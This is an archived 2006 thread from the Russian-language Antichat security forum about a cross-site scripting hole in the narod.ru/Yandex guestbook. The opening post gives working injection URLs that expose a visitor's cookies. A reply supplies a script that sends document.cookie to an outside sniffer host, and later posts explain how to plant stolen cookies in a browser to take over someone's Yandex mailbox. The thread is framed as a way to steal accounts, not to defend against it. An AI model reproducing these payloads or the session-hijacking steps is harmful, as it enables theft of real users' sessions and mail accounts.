ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
05.10.2006, 10:38
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
Xss народ.ру
Не знаю было это или нет... Вообщем читаемс...
1. _http://www.narod.ru/guestbook/?owner=49329156&mainhtml=%3Cscript%3Ealert()%3C/script%3E
2. Создали себе сайт с гостевой книгой...
Создайем на сайте файл - text.txt
Зайходим в сорцы нашей гесты, копирусем все и вставляем в text.txt...
Теперь надо нам просто добавить скрипт - ловушку, я добавил просто
<script>alert(document.cookie);</script>...
Правим сцылку... Первоночально сцылка на гесту показывает нам, что гостевуха в домене narod.ru, а значит там нам не будет показываться полные куки...
Ну дык какая хрен разница? Исправим ейе на narod.yandex.ru...
Теперь а чтоже делать с text.txt? Добавляем к ссылке на гесту &mainhtml=text.txt
Теперь заходим по этой ссылке и видимс наши печенюшки =)))
Извиняюсь, если это уже где то было... =))))
Вот моя геста = _http://www.narod.yandex.ru/guestbook/?owner=49329156&mainhtml=text.txt
Скажу сразу там нет снифера! =))))
|
|
|
05.10.2006, 16:41
|
|
Новичок
Регистрация: 27.08.2006
Сообщений: 24
Провел на форуме:
354022
Репутация:
29
|
|
Все круто но вот вопрос как примерно сделаь чтобы кукисы на сниффер отсылались? и еще, сижу я в мастерской и открываю твою ссылку мне выдаются кукисы моей страницы на народе. А если в это время сидеть в ящике от yandexa то выдадутся кукисы от ящика???
|
|
|
|
05.10.2006, 16:43
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
yandexa то выдадутся кукисы от ящика???
Да! =)
как примерно сделаь чтобы кукисы на сниффер отсылались?
Код:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
|
|
|
|
05.10.2006, 16:51
|
|
Новичок
Регистрация: 27.08.2006
Сообщений: 24
Провел на форуме:
354022
Репутация:
29
|
|
Так как у меня ящика на яндексе нет задам еще вопрос куда вставлять полученные куки? в строку браузера ? типа id= *****полученные куки***** ???
|
|
|
|
05.10.2006, 16:55
|
|
Постоянный
Регистрация: 15.08.2006
Сообщений: 404
Провел на форуме:
3811682
Репутация:
641
|
|
Так как у меня ящика на яндексе нет задам еще вопрос куда вставлять полученные куки? в строку браузера ? типа id= *****полученные куки***** ???
Нет в строку браузера вобще то только сессию можно подставить.
Куки подмени в текстовом файле, там где все твои куки. (пример: C:\Documents and Settings\...\Cookies)
Или если там пароль не зашифрован, то просто впиши его.
|
|
|
|
05.10.2006, 16:58
|
|
Новичок
Регистрация: 27.08.2006
Сообщений: 24
Провел на форуме:
354022
Репутация:
29
|
|
D=p=ch= Mod= Спасибо что напомнил! Помню читал где то давно, а щас забыл голова то дырявая. Ну че юзаем по тихоньку Xss  |
|
|
|
05.10.2006, 16:59
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
Если ты пользователь Оперы, то заходи Инструменты->Дополнительно->Cookies...
Находи домен яндекса и меняй значения... =))
|
|
|
|
05.10.2006, 19:29
|
|
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226
Репутация:
1332
|
|
баян, было где-то с полгода назад. хсс глупость там есть вещи помощнее.
|
|
|
|
05.10.2006, 19:51
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
хсс глупость там есть вещи помощнее
SQL? PHPinj? Чеж не пользуешься? Или не продаж? Богатым станешь... Мы пока еще дети нам учиться и учиться...
|
|
|
|
17.10.2006, 22:32
|
|
Постоянный
Регистрация: 11.10.2006
Сообщений: 659
Провел на форуме:
1594033
Репутация:
216
|
|
необессутьте что вмешался но хотелосьбы продолжения темы чо там за штука помощьней ?
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
